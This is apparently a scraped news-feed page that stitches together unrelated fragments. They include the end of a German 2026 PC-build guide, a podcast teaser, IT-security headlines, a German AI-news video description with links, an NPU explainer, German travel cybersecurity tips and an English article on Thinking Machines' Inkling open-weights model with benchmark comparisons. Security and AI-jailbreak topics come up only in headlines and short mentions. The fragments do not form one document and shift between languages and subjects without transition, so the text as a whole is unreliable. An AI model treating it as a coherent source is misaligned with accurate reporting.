  • Günstigere Alternative: AMD Ryzen 9 9900X – minimal langsamer in Spielen, aber ein absolutes Kraftpaket, falls der PC primär für 3D-Rendering, simulationslastige Anwendungen oder rechenintensiven Videoschnitt genutzt wird.
• Mainboard: Asus ROG Strix X870E-E Gaming – Ein ATX-Powerhouse für den Sockel AM5. Das Board wurde entwickelt, um das Potenzial der AMD-Ryzen-9000er-Serie voll auszuschöpfen. Mit zwei nativen USB4-Anschlüssen, Wi-Fi 7 und voller PCIe‑5.0‑Unterstützung bietet es moderne Konnektivität.
• Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Auch im High-End-Segment bringen 64 GB beim reinen Gaming kaum messbare Vorteile. Das Budget ist in der Grafikkarte besser investiert. Nur wer sein System professionell nutzt – etwa für aufwendige 4K-Videobearbeitung oder intensives 3D-Rendering, greift zum 64-GB-Kit und muss den Preissprung zwangsläufig hinnehmen.
• Grafikkarte (GPU):
  • Standard: Nvidia GeForce RTX 5080 mit 16 GB (z.B. MSI GeForce RTX 5080 16GB GDDR7) – Das Werkzeug für kompromissloses 4K-Gaming. Sie bewältigt selbst rechenintensives Path-Tracing ohne Einknicken und korrigiert mit den 16 GB schnellem GDDR7-Videospeicher endlich den Geiz vergangener Nvidia-Tage – was man sich allerdings auch teuer erkauft.
  • Highend-Alternative: Nvidia GeForce RTX 5090 mit 32 GB (z.B. Gigabyte Aorus GeForce RTX 5090 32 GB GDDR7). Das absolute Spitzenmodell im Consumer-Markt. Die Grafikkarte richtet sich an Enthusiasten, die für maximale Workstation-Leistung oder extremes 4K-Path-Tracing die höchste Ausbaustufe anpeilen und bereit sind, den entsprechenden Premium-Preis zu zahlen.
• Speicherplatz: 2 bis 4 TB PCIe 5.0 NVMe SSD (z.B. Crucial T710 SSD 4TB M.2 NVMe PCIe 5.0) – Für kürzeste Ladezeiten dank DirectStorage: Diese Technologie erlaubt es der Grafikkarte, Spieldaten ohne Umweg über die CPU direkt von der SSD zu laden.
• Gehäuse:
  
  • Standard: be quiet! Shadow Base 800 FX Black – ein geräumiger Full-Tower, der ab Werk mit vier Light-Wings-140mm-PWM-Lüftern und einer integrierten Lüfter-Steuerung geliefert wird. Das Gehäuse bietet ausreichend Platz für große 420-mm-Radiatoren und überlange Grafikkarten.
  • Design-Alternative: Lian Li O11 Dynamic EVO XL – Ein modularer Full-Tower, der sich spiegelverkehrt aufbauen lässt. Durch die abnehmbare Ecksäule bietet das Gehäuse freien Einblick auf die Hardware. Es fasst E-ATX-Mainboards, Grafikkarten bis 460 mm Länge und erlaubt die gleichzeitige Montage von bis zu drei 420-mm-Radiatoren für aufwendige Wasserkühlungen.
• Netzteil: 1000 Watt ATX 3.1 (z.B. Corsair RMx Shift oder be quiet! Straight Power 12). Die RTX-50-Serie kann unter Last eine hohe Leistungsaufnahme erreichen. Ein hochwertiges 1000-Watt-Netzteil mit ATX-3.1-Unterstützung bietet dafür ausreichende Reserven.

Ihre Kauf-Checkliste für 2026

Anucha Tiemsom/Shutterstock.com

Bevor Sie Ihre Komponenten in den Warenkorb legen, sollten Sie diese Punkte noch einmal kritisch prüfen. Hier verstecken sich die häufigsten Fehler beim PC-Kauf:

• Airflow bei Gaming-Systemen beachten: Moderne Komponenten arbeiten zwar immer effizienter, trotzdem gilt: Je mehr Leistung, desto mehr Abwärme. Gerade für High-End-Setups sollten Sie Gehäuse mit geschlossener Glas- oder Plastikfront deswegen eher meiden. Eine offene Mesh-Front sorgt für frische Luft, hält die Temperaturen niedrig und ermöglicht es den Gehäuselüftern, auch unter Last angenehm leise zu arbeiten.
• HDD stirbt langsam aus: Für Betriebssystem, Programme und Spiele haben HDDs ausgedient. Mechanische Festplatten lohnen sich heute vor allem noch als günstiger Datenspeicher für Backups und große Medienarchive – alles andere macht die SSD.
• Netzteil-Standards beachten: Neue Grafikkarten benötigen moderne Anschlüsse und eine stabile Absicherung gegen Spannungsspitzen. Achten Sie beim Netzteilkauf auf die neue ATX-3.1-Zertifizierung.
• RAM-Sweetspot treffen: Greifen Sie maximal zu DDR5-6000-Speicher. Alles darüber hinaus macht Ihr neues Setup deutlich teurer, liefert in der Praxis aber kaum einen spürbaren Mehrwert.
• Mainboard-Features geschickt wählen: Bezahlen Sie nicht für Anschlüsse, die Sie nie nutzen. Wer einen PC ohnehin per LAN-Kabel mit dem Router verbindet, braucht z.B. kein Modell mit integriertem Wi-Fi 7.
• Kühlung richtig dimensionieren: Für Mittelklasse-Prozessoren (wie den Ryzen 5 9600X) reicht ein solider Tower-Luftkühler für 40 Euro oft aus. Teure Komplettwasserkühlungen (AiOs) sind erst im High-End-Segment sinnvoll – oder wenn Sie der Gehäuse-Optik besonderes Augenmerk schenken wollen.

Fazit: Clever kaufen trotz Krise

Wer 2026 einen PC baut, sieht sich mit neuen Spielregeln konfrontiert. Der KI-Boom hat den Markt spürbar verzerrt und Arbeitsspeicher zum kostspieligen Schmerzpunkt gemacht. Ein Grund zum Abwarten ist das aber nicht. Dafür steht zu viel spannende Technik in den Regalen – Besserung ist aktuell auch gar nicht in Sicht.

Die Devise lautet deshalb: Priorisieren statt Verzweifeln. Wer beim RAM den Sweetspot trifft (DDR5-6000), auf Vorratskäufe verzichtet oder im Office-Bereich geschickt auf DDR4 ausweicht, holt das Maximum aus seinem Budget heraus. Wenn Sie Ihr Geld strategisch verteilen und die Preisfallen der Hersteller umschiffen, können Sie Ihren Traum-PC auch in Krisenzeiten realisieren.

BREAK/THE WEEK ist dein wöchentlicher Tech-Talk von BASIC thinking, der dich hinter die Kulissen der Tech-Welt nimmt. In der neuen Ausgabe diskutieren wir über KI als Nachrichtenquelle, Atomstrom zu Mondpreisen und digitale Erschöpfung durch Social Media.  Die Themen dieser Ausgabe: KI als Nachrichtengatekeeper: Wie ChatGPT & Co. Quellen auswählen – und warum das gefährlich ist […]

Der Beitrag Podcast: Wie KI Meinungen und deinen Nachrichtenkonsum manipuliert erschien zuerst auf BASIC thinking. Folge uns auch auf Google News und Flipboard oder abonniere unseren Newsletter UPDATE.

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The post Scattered Spiders sentenced, OpenAI builds an AI that breaks AIs, and Iran leans on ChatGPT appeared first on IT Security News.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

OpenAI hat die Zeichenlimits für benutzerdefinierte Anweisungen in ChatGPT für ausgewählte kostenpflichtige Tarife deutlich angehoben. Gleichzeitig erhält die interne Suche neue Funktionen und Filter, mit denen sich Chats, Dokumente, Bilder und Projekte gezielter durchsuchen lassen.

A report shows state-linked and hacktivist groups have used ChatGPT and other tools for malware development, phishing and mapping out industrial sites.

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The post Iran-nexus actors using AI to enhance cyber playbook appeared first on IT Security News.

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The post How a former DeepMind researcher raised at a $300M pre-seed valuation before launching a product appeared first on IT Security News.

Artikel & Newsletter: https://digitaleprofis.de/die-ki-news-vom-16-07-2026/

Quellen
Meta Muse Spark 1.1 
Artikel: https://ai.meta.com/blog/introducing-muse-spark-meta-model-api/  
Preise: https://developer.meta.com/ai/resources/blog/build-with-muse-spark 
Markt-Reaktion: https://x.com/PolymarketMoney/status/2075578900638482606 
Zuckerberg: https://x.com/finkd/status/2075218444056707458 

Panik bei Anthropic? 
Tweet: https://x.com/claudeai/status/2076351399999557669 
Doku: https://support.claude.com/en/articles/15424964-claude-fable-5-promotional-access 
Artikel: https://www.anthropic.com/news/redeploying-fable-5 

Kimi K3? 
Teaser: https://x.com/Kimi_Moonshot/status/2077521842080817296 
Hugging Face: https://huggingface.co/moonshotai 

SeeDance 2.5 
Artikel: https://www.testingcatalog.com/exclusive-early-30-second-ai-videos-generated-by-seedance-2-5/ 
Tweet: https://x.com/TheoMediaAI/status/2075175391782650201 
Website: https://dreamina.capcut.com/seedance/seedance-2-5 

Reve 2.1 Bildmodell 
Artikel: https://blog.reve.com/posts/launching-reve-2.1/ 
Leaderboard: https://arena.ai/leaderboard/text-to-image 
Preise: https://help.reve.com/hc/en-us/articles/46732445465108-Subscription-plans-overview 

Canva Code 2.0 
Artikel: https://www.canva.com/newsroom/news/Canva-Code/ 
Preise: https://www.canva.com/pricing/ 

Demis Hassabis warnt 
Artikel: https://demishassabis.substack.com/p/a-framework-for-frontier-ai-and-the-dawning-of-a-new-age 

Inkling von Thinking Machines  
Artikel: https://thinkingmachines.ai/news/introducing-inkling/ 
Modellkarte: https://thinkingmachines.ai/model-card/inkling/ 
Hugging Face: https://huggingface.co/thinkingmachines/Inkling 
Nutzungsregeln: https://thinkingmachines.ai/model-acceptable-use-policy/ 

GPT-Red Modell 
Artikel: https://openai.com/index/unlocking-self-improvement-gpt-red/ 

ChatGPT in Whatsapp ist zurück 
Tweet: https://x.com/ChatGPTapp/status/2076654365121855835 
Doku: https://help.openai.com/en/articles/6825453-chatgpt-release-notes 
Hintergrund: https://openai.com/index/chatgpt-whatsapp-transition/ 

Apple verklagt OpenAI 
Artikel: https://www.reuters.com/legal/litigation/apple-sues-openai-alleging-misappropriation-trade-secrets-court-records-show-2026-07-10/ 
Reaktion: https://apnews.com/article/apple-openai-lawsuit-trade-secrets-theft-6fff8833f5889d86406b89a02dd8fb16 
Gerüchte um Hardware: https://www.macrumors.com/2026/07/14/openai-ai-hardware-device-speaker/ 

Meta greift mit Muse Spark 1.1 zu einem extrem niedrigen Preis GPT und Claude Fable an, Seedance erzeugt bis zu drei Minuten lange KI-Videos und Apple verklagt OpenAI wegen angeblich gestohlener Geschäftsgeheimnisse.
In unserem KI-Update der Woche schauen wir außerdem auf die Gerüchte rund um Kimi K3, das neue Bildmodell Reve 2.1, Canva Code 2.0 und Inkling – ein riesiges neues Open-Weights-Modell von Thinking Machines.

Weitere Themen:
– Anthropic verlängert den Zugang zu Claude Fable 5
– Demis Hassabis warnt vor den Risiken immer mächtigerer KI
– OpenAI trainiert mit GPT-Red einen KI-Angreifer
– ChatGPT ist im Europäischen Wirtschaftsraum zurück auf WhatsApp
– Neue Gerüchte über OpenAIs erstes eigenes Hardwaregerät

Werde Kanalmitglied und unterstütze damit unsere Arbeit:
https://www.youtube.com/channel/UCv90NdTyTp7ZPPRvvSZaS5w/join

Videoinhalt:
00:00 Die KI-News der Woche vom 16.07.2026
00:23 Meta will mit Muse Spark 1.1 angreifen
01:31 Anthropic verlängert Fable 5 Zugriff schon wieder
02:22 Gerüchte rund um Kimi K3 von Moonshot AI
03:19 Bis zu 3 Minuten lange KI-Videos mit SeeDance 2.5
04:06 Reve 2.1 Bild-KI vorgestellt
04:55 Canva Code 2.0 für Vibe Coding in Canva
05:55 DeepMind Chef Demis Hassabis warnt vor AGI
06:52 Neues Inkling Open Source Modell von Thinking Machines
07:38 GPT-Red Modell hilft beim Absichern von KI-Modellen
08:41 ChatGPT ist zurück auf WhatsApp
09:18 Apple verklagt OpenAI

Videovorschläge, Feedback und Kritik kannst Du uns jederzeit in den Kommentaren mitteilen!

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The post Single Prompt Enables ChatGPT to Execute Full Cyber-Attack Chain, Researchers Claim appeared first on IT Security News.

Seit einiger Zeit verkaufen die Hersteller Notebooks als KI-PC oder Copilot+ PC. Der Zusatz steht für einen Umbau der inneren Technik. Neben dem Hauptprozessor (CPU) und der Grafikeinheit (GPU) sitzt jetzt ein dritter Baustein auf dem Chip, die neuronale Recheneinheit (Neural Processing Unit, NPU). Die NPU berechnet KI-Funktionen energieeffizient direkt auf dem Gerät. Wer ein KI-Notebook kaufen möchte, sollte auf die entscheidende Leistungskennzahl achten.

Für das Siegel Copilot+ verlangt Microsoft eine NPU mit mindestens 40 TOPS, dazu 16 GByte Arbeitsspeicher und 256 GByte SSD. Aktuelle Notebook-Chips erreichen das mühelos, so kommt Intels Core Ultra Series 3 auf 50 TOPS allein für die NPU.

AMD (Ryzen AI 300 und 400), Qualcomm (Snapdragon X2) und Apple (M-Serie mit Neural Engine) liefern NPUs in ähnlicher Größenordnung. Erst die Rollenverteilung zwischen den drei Rechenwerken sorgt für flüssige KI-Funktionen im täglichen Gebrauch.

Die CPU steuert und verteilt

Die CPU steuert alle Vorgänge im Notebook. Sie startet Programme, verwaltet den Arbeitsspeicher und hält das Betriebssystem aktiv. Ihre wenigen, dafür kräftigen Kerne arbeiten Befehle nacheinander ab und eignen sich für verzweigte Aufgaben mit vielen Entscheidungen.

Bei KI-Funktionen übernimmt die CPU die Rolle des Verteilers. Sie erkennt, welche Art von Aufgabe ansteht, und schickt sie an das passende Rechenwerk. Eine Echtzeitaufgabe geht zur NPU, eine schwere Rechenlast zur GPU, eine reine Systemaufgabe bleibt bei der CPU selbst.

Sobald das Ergebnis vorliegt, fügt die CPU es an der richtigen Stelle ein, zum Beispiel den unscharfen Hintergrund in dein Videobild.

AMD

Die GPU rechnet massiv parallel

Die GPU (Diese Grafikkarten sind ihr Geld wert) rechnet mit Hunderten bis Tausenden kleiner Kerne, die gleiche Rechenschritte gleichzeitig ausführen. Die Bauweise kommt aus der Grafikdarstellung und taugt genauso für KI. Beim Spielen, bei der Videobearbeitung und beim 3D-Rendering liefert die GPU die Rechenleistung, ebenso beim Training großer KI-Modelle und bei schweren parallelen Rechenlasten.

Im Notebook steckt die GPU in zwei Formen. Eine integrierte Grafikeinheit sitzt zusammen mit CPU und NPU auf einem Chip, zum Beispiel Intel Arc oder AMD Radeon. Eine dedizierte Grafikkarte wie eine NVIDIA GeForce RTX bringt eigenen Videospeicher (VRAM) mit und schafft mehr Leistung, zieht dafür mehr Strom und erzeugt mehr Wärme.

XFX

Die NPU spart Strom bei KI

Die NPU ist auf eine einzige Sorte Mathematik ausgelegt, die hinter neuronalen Netzen steckt. Es geht um Matrixrechnungen, also viele Multiplikationen und Additionen auf einmal. Genau dafür nutzt die NPU spezielle Recheneinheiten (MAC) und schnellen Speicher direkt auf dem Chip, damit die Daten kurze Wege haben.

Der große Vorteil ist der niedrige Stromverbrauch. Eine NPU zieht für KI-Aufgaben nur wenige Watt, eine Grafikkarte im Rechenzentrum kommt unter voller Trainingslast auf mehrere Hundert Watt.

Die NPU rechnet zudem häufig mit vereinfachter Genauigkeit (INT8 statt der feineren Formate einer GPU). Das spart Energie und beschleunigt die Antwort, reicht für KI-Inferenz aber völlig aus.

KI-Inferenz meint das Ausführen eines fertig trainierten Modells, also das Anwenden. Das Anlernen des Modells bleibt Sache der GPU. Für Grafik, Spiele oder allgemeine Programme taugt die NPU nicht. Ihre Stärke liegt allein bei KI, die dauerhaft und im Hintergrund aktiv ist.

Sam Singleton

Was TOPS wirklich aussagen

TOPS steht für Tera Operations Per Second, also Billionen Rechenoperationen pro Sekunde. Eine NPU mit 50 TOPS schafft 50 Billionen Rechenoperationen in einer Sekunde. Je höher der Wert, desto mehr KI-Rechenschritte passen in dieselbe Zeit.

Ein Vergleich der TOPS allein ist wenig aussagekräftig. Die NPU rechnet mit vereinfachter Genauigkeit und meldet andere Werte als eine GPU, deren TOPS Grafik und KI zusammenfassen. Desktop-Grafikkarten kommen so auf über 1.000 TOPS, ihre NPU-Kollegen im Notebook auf 40 bis 80. Beide Zahlen messen nicht dasselbe.

Für den Kauf zählt eine Angabe. Wirbt ein Hersteller mit einer hohen Gesamtzahl aus CPU, GPU und NPU, sagt das wenig über das Copilot+ Siegel. Microsoft verlangt die 40 TOPS allein von der NPU. Ein prüfender Blick auf den NPU-Wert im Datenblatt schützt vor Enttäuschung.

Warum lokale KI Ihnen nützt

KI direkt auf dem Notebook (Was kann KI lokal auf dem PC? 7 Anwendungsmöglichkeiten) bringt mehrere handfeste Vorteile gegenüber der Cloud:

• Datenschutz: Fotos, Dokumente und Sprachaufnahmen bleiben auf dem Gerät und gelangen nicht auf fremde Server.
• Tempo: Die Antwort kommt ohne Umweg über das Internet, oft in Echtzeit.
• Offline-Betrieb: Funktionen wie Übersetzung oder Rauschunterdrückung arbeiten auch ohne Verbindung.
• Akku: Die sparsame NPU hält KI-Funktionen aktiv, ohne den Akku schnell zu leeren.

Eine Grenze gehört dazu. Cloud-Dienste wie ChatGPT oder Google Gemini rechnen auf externen Servern. Eine NPU beschleunigt sie nicht, denn die Arbeit passiert gar nicht auf deinem Gerät. Der NPU-Vorteil greift bei lokalen Funktionen, zum Beispiel den KI-Effekten in Videocalls oder einem Sprachmodell, das direkt auf dem Notebook antwortet.

Microsoft

NPU-Funktionen unter Windows

Windows verteilt passende Aufgaben von sich aus an die NPU. In Videocalls sorgen die Windows Studio Effects für Hintergrundunschärfe, korrigierten Blickkontakt und eine ruhigere Tonspur. Live Captions übersetzen gesprochene Sprache in Untertitel, die Funktion Cocreator erzeugt Bilder aus einer Textbeschreibung, und Recall macht frühere Bildschirminhalte durchsuchbar.

Auch außerhalb von Windows nutzen Programme die NPU. Foto- und Videobearbeitung entfernt Objekte, tauscht Hintergründe oder rechnet Bilder hoch. Kleine Sprachmodelle antworten direkt auf dem Notebook, ohne Daten nach außen zu geben. Ob die NPU gerade arbeitet, zeigt der Windows-Task-Manager im Bereich “Leistung”.

NPU, TPU und der Blick über das Notebook

NPUs stecken nicht nur in Notebooks. Smartphones enthalten sie seit Jahren, Apple brachte mit dem iPhone X eine frühe Variante, Huawei kurz darauf eine eigene. Im Rechenzentrum gibt es eine verwandte Sonderform, die TPU (Tensor Processing Unit) von Google. Sie ist auf das KI-Framework TensorFlow zugeschnitten und beschleunigt KI-Dienste in der Cloud.

Kaufhinweise für Ihr KI-Notebook

Die drei Rechenwerke ergänzen sich. Die CPU steuert und verteilt, die GPU liefert rohe Parallelleistung für Grafik und Modelltraining, die NPU erledigt dauerhafte KI-Aufgaben energiesparend. Für ein neues KI-Notebook lohnt der Blick auf den NPU-Wert.

40 TOPS öffnen die Copilot+ Funktionen von Windows, mehr Reserve mit 50 bis 80 TOPS aktueller Chips hält länger für kommende KI-Features vor. Dazu gehören 16 GByte Arbeitsspeicher als sinnvolle Untergrenze. Damit bist du für die KI-Funktionen der nächsten Jahre gut aufgestellt.

Read more: Hyundai to take full ownership of Boston Dynamics

Reisen macht in der Regel Spaß, besonders im Sommer, wenn alle im Urlaub sind. Daher kann es leicht passieren, dass man auch die Sorgen um die Cybersicherheit zu Hause zurücklässt. Leider machen Kriminelle keine Pause. Tatsächlich setzen sie gerade auf Ihre nachlässigen Gewohnheiten.

Doch mit ein paar kleinen Anpassungen können Sie Ihre freie Zeit wieder ganz unbeschwert genießen. Insbesondere diese vier Maßnahmen befassen sich mit Problemen, die immer wieder in den Nachrichten auftauchen – und sie sind recht einfach umzusetzen.

Behalten Sie Ihre Bordkarte für sich

Ihre Bordkarte kann viel über Sie preisgeben. Zunächst einmal kodieren Fluggesellschaften mehr Informationen in den Barcode, als auf der Karte angezeigt werden – Details wie Ihr Geburtsdatum, Ihre Reisepassnummer und Ihre Vielfliegernummer.

Ein besonders drastisches Beispiel liefert die US-Billigfluglinie Frontier Airlines. Es stellt sich heraus, dass jeder, der eine Kopie des QR-Codes eines Passagiers besitzt, sensible Daten aus dessen Konto abrufen kann – wie beispielsweise hinterlegte Kreditkartennummer, Anschrift, TSA-PreCheck-Nummer und Reisepassnummer –, indem er eine Anfrage an eine API stellt, die die Website des Unternehmens betreibt.

Selbst abgesehen von der Gefahr des Identitätsdiebstahls kann Ihnen jemand, der Ihre Bordkarte im Blick hat, erheblichen Ärger bereiten. Mit Ihrem vollständigen Namen und dem Bestätigungscode kann diese Person Ihre Flugdaten ändern oder Ihre Buchung sogar komplett stornieren.

Das Fazit: Schirmen Sie Ihren Bildschirm oder Ihr ausgedrucktes Ticket vor allen außer dem Mitarbeiter am Gate ab. Und veröffentlichen Sie auf keinen Fall ein Bild Ihrer Bordkarte in den sozialen Medien.

Vermeiden Sie öffentliche Computer

Die Nutzung eines gemeinsam genutzten PCs in einem Hotel (oder an einem anderen öffentlichen Ort) birgt Risiken. Diese Computer können mit Malware infiziert sein, die alle eingegebenen Daten, einschließlich Passwörter, erfasst. Oder sie ermöglichen es einem Hacker, sich unbefugten Zugriff auf alle Konten zu verschaffen, bei denen Sie sich angemeldet haben.

Auch durch ausgedruckte Dokumente können Sie digitale Spuren hinterlassen. Manche Drucker speichern eine Kopie der Druckaufträge – und aller darin enthaltenen persönlichen Daten.

Das Fazit: Verzichten Sie so weit wie möglich auf öffentliche Computer und Drucker. Wenn Sie unbedingt einen öffentlichen Computer nutzen müssen, verwenden Sie ein Inkognito-Browserfenster und melden Sie sich mit einem Passkey statt mit einem Passwort an.

Verwenden Sie ein VPN in öffentlichen WLAN-Netzen

Sam Singleton

Öffentliches WLAN kann aus zwei Gründen gefährlich sein. Erstens könnten andere Personen, die sich mit Ihnen im selben legitimen Netzwerk befinden, versuchen, Ihre Aktivitäten auszuspionieren. Zweitens könnten Sie sich versehentlich mit einem gefälschten kostenlosen WLAN-Netzwerk verbinden.

Im ersten Fall ist das Risiko, dass Sie sensible Daten an einen Hacker verlieren, heutzutage geringer. Die meisten Verbindungen zu Websites sind mittlerweile standardmäßig verschlüsselt. Einige wenige nutzen jedoch für bestimmte Aktivitäten nach wie vor unverschlüsselte Verbindungen, sodass das Risiko nicht gleich Null ist.

Was gefälschte WLAN-Netzwerke betrifft, so kann es passieren, dass Sie über gefälschte Anmeldeseiten Ihre Zugangsdaten preisgeben oder sogar Malware auf Ihr Gerät geschleust wird.

Das Fazit: Nutzen Sie Ihre Mobilfunkdaten für sensible Angelegenheiten wie Bankgeschäfte oder medizinische Belange. Ist dies nicht möglich, verwenden Sie ein VPN (die besten VPNs stellen wir hier vor), wenn Sie sich mit einem öffentlichen WLAN verbinden. Ein gutes VPN fungiert als geschützter Tunnel, der all Ihre Aktivitäten verschlüsselt und die von Ihnen besuchten Websites vor Netzwerkbeobachtern verbirgt.

Verwenden Sie Ihr eigenes USB-Ladegerät

Haben Sie schon einmal von„Juice Jacking“ gehört? Es handelt sich um eine beängstigend klingende, aber eher seltene Taktik, mit der auf gespeicherte Daten auf einem Smartphone zugegriffen wird – oder um Malware darauf zu installieren.

„Juice Jacking“ funktioniert folgendermaßen: Ein Hacker manipuliert einen USB-Ladeanschluss, wie er an Flughäfen, in Hotels und an anderen öffentlichen Orten zu finden ist. Wenn Sie Ihr Smartphone anschließen, sind Sie potenziell anfällig für Angriffe. Und was die Sache noch komplizierter macht: Sicherheitsexperten vertreten nach wie vor widersprüchliche Meinungen darüber, wie groß die Bedrohung durch „Juice Jacking“ tatsächlich ist.

Das Fazit: Verwenden Sie einfach Ihr eigenes USB-Ladegerät. Das hat einen doppelten Vorteil: Sie müssen sich weder Gedanken über „Juice Jacking“ noch über elektrische Schäden durch ein minderwertiges Ladegerät machen. (Ich habe einmal durch ein minderwertiges Ladegerät einen Anschluss an meinem Smartphone kurzgeschlossen. Das war wirklich ärgerlich.)

Ist das keine Option? Schalten Sie Ihr Smartphone vorsichtshalber aus, bevor Sie ein öffentliches Ladegerät verwenden.

Today, Thinking Machines—the highly capitalized American AI startup founded by former OpenAI CTO Mira Murati—released Inkling, its first major language model under an enterprise-friendly Apache 2.0 open source license, and it boasts high, if sub state-of-the-art, performance for open weights models on third-party benchmarks, specifically software engineering (77.6% on SWE-bench Verified, where it beats fellow U.S. open rival Nvidia Nemotron 3's 71.9%) and voice understanding (91.4% on VoiceBench compared to 94.4% for Gemini 3.1 Pro on high reasoning effort).

Another differentiator: Thinking Machines notes that Inkling was designed "to answer directly on topics that may be subject to censorship," offering enterprises concerned about factual outputs, irrespective of controversy or sensitivity, a more trustworthy option.

Coming in at 975 billion total parameters, Inkling is a natively multimodal, open-weights Mixture-of-Experts (MoE) system capable of reasoning across text, images, and audio. The weights are already available on Hugging Face and the company's own model training application programming interface (API), Tinker.

Designed to balance cost against performance through a novel "controllable thinking effort" mechanism, the model represents a significant departure from the black-box scaling strategies of frontier competitors.

Alongside the flagship model, Thinking Machines also announced a preview of Inkling-Small, a lighter 276-billion-parameter alternative optimized for workloads where low latency and cost are paramount.

Benchmarks Show a Powerful, High-End, Sub State-of-the-Art Model

While Inkling is a formidable multimodal engine, it lands in a fiercely competitive 2026 open-weight landscape characterized by highly specialized MoE architectures. Rather than attempting to dominate every leaderboard, Thinking Machines explicitly designed Inkling—with 975 billion total and 41 billion active parameters—as a broad, balanced generalist.

For example, it comes in near the middle high-end of benchmark performance 1257 on Design Arena’s Agentic Web Dev leaderboard measuring human scores of frontend web design.

But China’s leading AI labs have produced models with elite reasoning and coding capabilities, posing a stiff challenge to Inkling's generalist approach and ultimately outperforming it on general and coding benchmarks.

• GLM 5.2: Widely considered the top open-weight reasoning model available in the benchmark set, GLM 5.2 outperforms Inkling on pure coding, agentic, and complex reasoning tasks. It scores 62.1% on SWEBench Pro (Public) compared to Inkling’s 54.3%, and a massive 82.7 on Terminal Bench 2.1 against Inkling’s 63.8. GLM 5.2 also holds the edge in text-only reasoning, scoring 40.1% on HLE (text only) versus Inkling's 30.0%.

• DeepSeek V4 Pro: DeepSeek maintains an edge in several strict coding and factuality domains, beating Inkling on SWEBench Verified (80.6% vs. 77.6%) and SimpleQA Verified (57.0% vs. 43.9%). However, Inkling successfully overtakes DeepSeek V4 Pro in mathematical problem-solving, achieving 97.1% on AIME 2026 compared to DeepSeek's 96.7%.

• Kimi K2.6: This model outpaces Inkling across multiple technical benchmarks, delivering higher scores on GPQA Diamond (91.1% vs. 87.9%), BrowseComp (83.2% vs. 77.1%), and HLE with tools (54.0% vs. 46.0%). Yet Inkling proves more resilient on general chat instruction following, scoring 79.8% on IFBench compared to Kimi K2.6's 76.0%.

Against its primary U.S.-based open-weight competition, Inkling demonstrates strong parity and frequent superiority.

• Nemotron 3 Ultra: Inkling consistently outperforms this U.S. rival across reasoning and coding. Inkling posts 97.1% on AIME 2026 and 77.6% on SWEBench Verified, beating Nemotron's 94.2% and 70.7%, respectively. Furthermore, Inkling significantly leads in agentic workflows, scoring 74.1% on MCP Atlas against Nemotron's 44.7%.

When compared to closed-source juggernauts like Claude Fable 5, GPT 5.6 Sol, and Gemini 3.1 Pro, Inkling trails in peak reasoning and software engineering autonomy, but remains highly competitive in multimodality.

• Coding and Reasoning: Closed models maintain a commanding lead. Claude Fable 5 (max) hits 95.0% on SWEBench Verified and 53.3% on HLE (text only), far outpacing Inkling's 77.6% and 30.0%. GPT 5.6 Sol dominates Terminal Bench 2.1 with an 89.5, easily clearing Inkling's 63.8.

• Native Multimodality: Inkling's native visual and audio capabilities hold their own. On the MMMU Pro (Standard 10) vision benchmark, Inkling's 73.3% is competitive, though trailing Claude Fable 5's 84.2% and GPT 5.6 Sol's 83.0%. In audio processing, Inkling scores a highly respectable 77.2% on MMAU, keeping it within striking distance of Gemini 3.1 Pro's 82.5%.

If an enterprise workflow demands elite software engineering autonomy or the highest bounds of text-only reasoning, models like GLM 5.2 or proprietary systems like Claude Fable 5 maintain the edge.

However, Inkling carves out a unique and highly defensible position: it is the most capable open-weight foundation model that natively fuses text, vision, and audio, while simultaneously offering developers direct programmatic control over the cost-to-performance ratio.

The Shift from Static Reasoning to Controllable Thinking

Rather than attempting to build a singular "god model" optimized strictly for state-of-the-art benchmark domination, Thinking Machines engineered Inkling for adaptability and efficiency in real-world workflows.

The standout feature of this release is Inkling's "controllable thinking effort." Developers can programmatically adjust the model's reasoning budget—scaling from 0.2 to 0.99—to dictate how hard the AI should "think" before generating an output.

As the company noted, "Inkling's continuous thinking effort lets you pick your point on the cost/performance curve—reaching the same score with a fraction of the tokens".

In practical terms, this allows enterprises to deploy Inkling with lower token expenditure for simpler tasks, while cranking up the compute overhead for complex, multi-step reasoning challenges. However, by keeping the thinking effort lower and generating fewer tokens, the cost-conscious enterprise can achieve high quality results and performance on simple tasks while spending less money, or, in the case of those running models locally, less costs on energy and compute resources.

During the model’s large-scale reinforcement learning (RL) training over 30 million rollouts, researchers observed an emergent phenomenon they called "chain of thought condensation". Over time, Inkling naturally learned to compress its internal reasoning steps—dropping grammatical overhead and connectives—while reaching the same accurate conclusions, resulting in drastically reduced latency.

Epistemics and Censorship Resistance

A notable element of Thinking Machines' release is its explicit focus on the model's epistemics—specifically its calibration, instruction following, and resistance to censorship.

In an ecosystem where open-weight models adopt either overly restrictive safety guardrails or echo state-aligned ideological talking points, Inkling was intentionally trained to answer directly on politically sensitive or heavily censored topics.

To validate this approach, Thinking Machines submitted Inkling to the Propaganda and Censorship Eval developed by AI startup Cognition. According to the published findings, Inkling demonstrated "strong patterns of censorship non-compliance," effectively resisting ideological capture or boilerplate refusals when presented with sensitive subjects.

Despite its resistance to censorship, the model maintains a robust defense against genuinely malicious, dangerous, or illegal queries. On the StrongREJECT benchmark—which tests responses to unambiguous harmful requests—Inkling scored 98.6%, placing it in line with strict frontier safety standards. Furthermore, on the FORTRESS benchmark, Inkling successfully navigated the line between safety and over-refusal: it achieved a 78.0% refusal rate on adversarial queries (such as those involving weapons, cyberattacks, or violence) while maintaining a 95.9% compliance rate on benign, look-alike queries.

Thinking Machines noted that typical open-weight vulnerabilities remain within the architecture. Internal safety evaluations revealed an "occasional tendency to comply with role-play and indirectly framed prompts concerning harmful topics". The company advised enterprise developers to treat the model's built-in refusals as just one layer of security, recommending the downstream deployment of external moderation tools—such as Llama Guard—to filter adversarial jailbreaks and enforce use-case-specific safety policies at the application level.

Under the Hood: Architecture and Multimodality

Inkling's scale is staggering, yet sparse. The MoE architecture features 975 billion total parameters, but only 41 billion parameters are active during any given token generation. It supports a massive context window of 1 million tokens and diverges from typical transformer models by using relative positional embeddings instead of the industry-standard Rotary Positional Embedding (RoPE).

True to the company's foundational vision, Inkling was trained from scratch to be natively multimodal. Unlike models that rely on bolted-on external encoders, Inkling uses an encoder-free early fusion approach. It directly ingests audio as discrete dMel spectrograms and visual data as 40x40 pixel patches via a hierarchical multi-layer perceptron (hMLP), projecting all modalities into a shared hidden space.

